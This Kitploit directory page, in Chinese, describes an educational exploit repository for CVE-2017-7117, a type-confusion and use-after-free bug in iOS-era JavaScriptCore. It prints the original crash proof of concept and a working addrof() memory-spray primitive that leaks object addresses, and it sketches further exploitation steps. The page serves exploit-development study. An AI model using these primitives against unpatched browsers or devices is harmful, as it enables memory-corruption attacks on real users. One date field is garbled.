Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2017-7117 — 用于 CVE-2017-7117 的教育性漏洞利用程序,利用 iOS 10.3.4 JavaScriptCore 中的类型混淆和释放后重用漏洞,演示内存喷射和地址泄露技术。 | Kitploit
工具/GitHubGitHub/rebelle3/cve-2017-7117
iOS安全内存取证漏洞分析漏洞利用Shellcode移动安全学习与教育二进制利用
GitHubrebelle3/cve-2017-7117

cve-2017-7117

用于 CVE-2017-7117 的教育性漏洞利用程序,利用 iOS 10.3.4 JavaScriptCore 中的类型混淆和释放后重用漏洞,演示内存喷射和地址泄露技术。

查看仓库
331年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

cve-2017-7117

关于漏洞

一个类型混淆和 UAF(释放后使用)漏洞,存在于 iOS 10.3.4 及更早版本,以及 Safari 11.0 之前。

CVE-2017-7117:mitre.org

原始概念验证

由 @lokihardt 发现,来源:Google Project Zero

root@kitploit:~
function f() {
  let o = {};
  for (let i in {xx: 0}) { // i is a String
    for (i of [0]) { // i is now a number, but JIT treats as String
    }
    print(o[i]); // whoops
  }  
}

f();

运行上述代码会导致 JSC 崩溃。

利用方法

我们构建一个大型数组 arr,使 JIT 编译器混淆地将其视为字符串。

root@kitploit:~
var arr = new Uint32Array(1 * 1024 * 1024 / 4); // 1mb | 1 item == 4 bytes
arr[4] = 0xb0; // to pass checks for the member m_hashAndFlags 

当对 i 的引用丢失后,我们保持对原始数组 arr 的访问,从而可以读取底层内存。

通过喷射已知值,我们可以找到该数组并向上遍历,定位到任意对象的指针。

root@kitploit:~
function addrof(obj) {

    // search the freed array for this number
    var locator = 0x1337;

    // spray the freed memory with the locator
    var sprays = [];
    for (var i = 0; i < 0x1000; ++i) {
        sprays.push(i % 2 == 0 ? locator : obj);
    }

    // find the first instance of the locator
    var found = null;
    for(var i = 0; i < arr.length; i++) {
        if(arr[i] == locator) {
            found = i
            break
        }
    }

    // the pointer for the object is 3 and 2 indicies after the locator
    return found && [arr[found + 3], arr[found + 2]]

}

值通过 Uint32Array 在内存中访问,低字节在前,高字节在后。

root@kitploit:~
let target = {
    foo: "bar"
}

let address = addrof(target)
// address: 0x0000ffff8d178e60

你可以使用 describe() 验证地址的有效性。

root@kitploit:~
print(describe(target))
// Object: 0xffff8d178e60 with butterfly (nil) (0xffff9099bba0:[Object, {foo:0}, NonArray, Proto:0xffff909b00a0, Leaf]), ID: 244

复现设置

目前已在以下环境测试通过:

  • Ubuntu 20.04.5 LTS ARM64
  • 来自 libwebkitgtk 2.16.0 版本的可受攻击 JavaScriptCore (JSC)
    • 构建归档:launchpad.net
  • LLDB 用于内存检查(可选)

尚未(尚未)在 iPhone 5、iOS 10.3.4 上生效。让我们找出原因……

下一步?

  • 构造一个假对象
  • 任意内存读写
  • 越狱 iOS 10?

重要提示

本仓库仅作为教育资料,用于记录我在漏洞利用开发中的学习过程。该漏洞已修复超过7年。显然,不要将其用于任何罪恶目的。

下载工具